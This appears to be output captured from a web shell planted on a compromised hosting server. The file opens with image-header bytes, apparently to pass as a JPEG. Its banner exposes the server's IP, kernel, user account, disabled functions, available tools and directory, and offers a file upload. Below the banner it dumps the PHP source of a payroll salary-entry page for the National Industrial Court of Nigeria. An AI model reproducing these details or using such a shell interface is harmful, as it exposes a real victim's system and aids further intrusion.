ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.145.80.38 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/consolidated/ |
Upload File : |
<?php // //require_once('business login/classes/.php'); require_once('business logic/classes/users.php'); //require_once('business logic/classes/operations.php'); require_once('business logic/classes/salary_scale.php'); // $user = new User(); // $sc = new Salary(); // $uid = $_SESSION['uid']; $access = $_SESSION['acc']; // if($access > 1) header("location:delay.php"); if (!$user->get_session()) { header("location:myown_mainpage.php?you are not login"); } // if (isset($_GET['q']) and $_GET['q'] == 'logout') { $user->user_logout(); header("location:myown_mainpage.php? you are log out"); } // if (($_SERVER["REQUEST_METHOD"] == "POST") and ($_POST['submit'] == 'Submit')) { /*and !empty($_POST['employee_type']) and !empty($_POST['grade']) and !empty($_POST['step']) and !empty($_POST['amount']) and !empty($_POST['domestic_s']) and !empty($_POST['tax']) and !empty($_POST['meal']) and !empty($_POST['driver'])*/ $msg = $sc->con_addSalary($_POST ); } if (($_SERVER["REQUEST_METHOD"] == "POST") and ($_POST['submit'] == 'Update')) { $msg = $sc->con_updateSalary($_POST ); } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut icon" href="images/favicon.ico"> <title>National Industrial Court of Nigeria...::...Add Basic Salary</title> <link href="css/payroll.css" rel="stylesheet" type="text/css" /> <style type="text/css"> <!-- .style25 { font-family: Verdana, Arial, Helvetica, sans-serif; color: #FF0000; } a:link { text-decoration: none; } a:visited { text-decoration: none; } a:hover { text-decoration: underline; } a:active { text-decoration: none; } .inputs { background-color: #ffffff; margin: 2px; padding: 2px; border: 1px solid #FF8A00; } --> </style> <script language="javascript" type="text/javascript"> function submitregistration() { var form = document.login; if(form.employee_type.value == "Select type") { alert( "Select valid Employee Type" ); return false; } if(form.grade.value == "Staff Grade") { alert( "Select valid Grade" ); return false; } else if(form.step.value == "Staff Step") { alert( "Select valid Step" ); return false; } else if(form.amount.value == "") { alert( "Enter Amount" ); return false; } else if(form.tax.value == "") { alert( "Enter Tax for this Month" ); return false; } else if(form.meal.value == "") { alert( "Enter Meal Subsidy" ); return false; } //domestic_s tax meal } function show_hide(val) { if(val == "cr") { document.getElementById('tr_step').style.display = "table-row"; document.getElementById('tr_rent').style.display = "table-row"; } else { document.getElementById('tr_step').style.display = "none"; document.getElementById('tr_rent').style.display = "none"; } } </script> </head> <body onLoad="document.login.employee_type.focus()"> <table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" > <!--DWLayoutTable--> <tr> <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td> </tr> <tr> <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder"> <!--DWLayoutTable--> <tr> <td width="32%"> <a href="userArea.php">Home</a> </td> <td width="68%"> <?php //$user->getLink($access); $user->get_fullname($uid); ?> <a href="?q=logout">Logout</a> </td> </tr> </table></td> </tr> <tr> <td height="243" valign="top"><?php require('links.php');?></td> <td valign="top"><table width="239" border="0" align="left" cellpadding="0" cellspacing="0"> <tr> <td width="239" colspan="3"> <br /> <fieldset> <legend>Add/Update Basic Salary<br /> </legend> <form action="" method="post" enctype="multipart/form-data" name="login" id="login"> <table width="348" border="0"> <tr> <td colspan="2"><?php if(isset($msg)) echo $msg; //} ?></td> </tr> <tr> <td width="142"><div align="right">Employee Rank</div></td> <td width="196"><select name="employee_rank" id="employee_rank" required="true" onchange="show_hide(this.value)"> <option value="" selected="selected">Select rank</option> <option value="p">President</option> <option value="cr">Chief Registrar</option> <option value="js">Judges</option> </select></td> </tr> <tr id="tr_step" style="display:none"> <td><div align="right">Step</div></td> <td><select name="step" id="step"> <option value="1" selected="selected">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> </select></td> </tr> <tr> <td><div align="right">Basic Salary</div></td> <td><input name="amount" type="text" value="0.00" required="true"/></td> </tr> <tr> <td><div align="right">PAYE(Tax this Month)</div></td> <td><input name="tax" type="text" id="tax" value="0.00" required="true"/></td> </tr> <tr id="tr_rent"> <td><div align="right">Rent Subsidy</div></td> <td><input name="rent" type="text" id="rent" value="0.00" required="true"/></td> </tr> <tr> <td><input name="date" type="hidden" id="date" value="<?php echo date('Y-m-d');?>" /></td> <td><input type="submit" name="submit" id="submit" value="Submit" onclick="return( submitregistration());"/> <input type="submit" name="submit" id="submit" value="Update" onclick="return( submitregistration());"/></td> </tr> </table> </form> </fieldset></td> </tr> </table></td> </tr> <tr> <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0"> <!--DWLayoutTable--> <tr> <td align="right"> </td> </tr> </table></td> </tr> </table> </body> </html> <?php $user->close();?>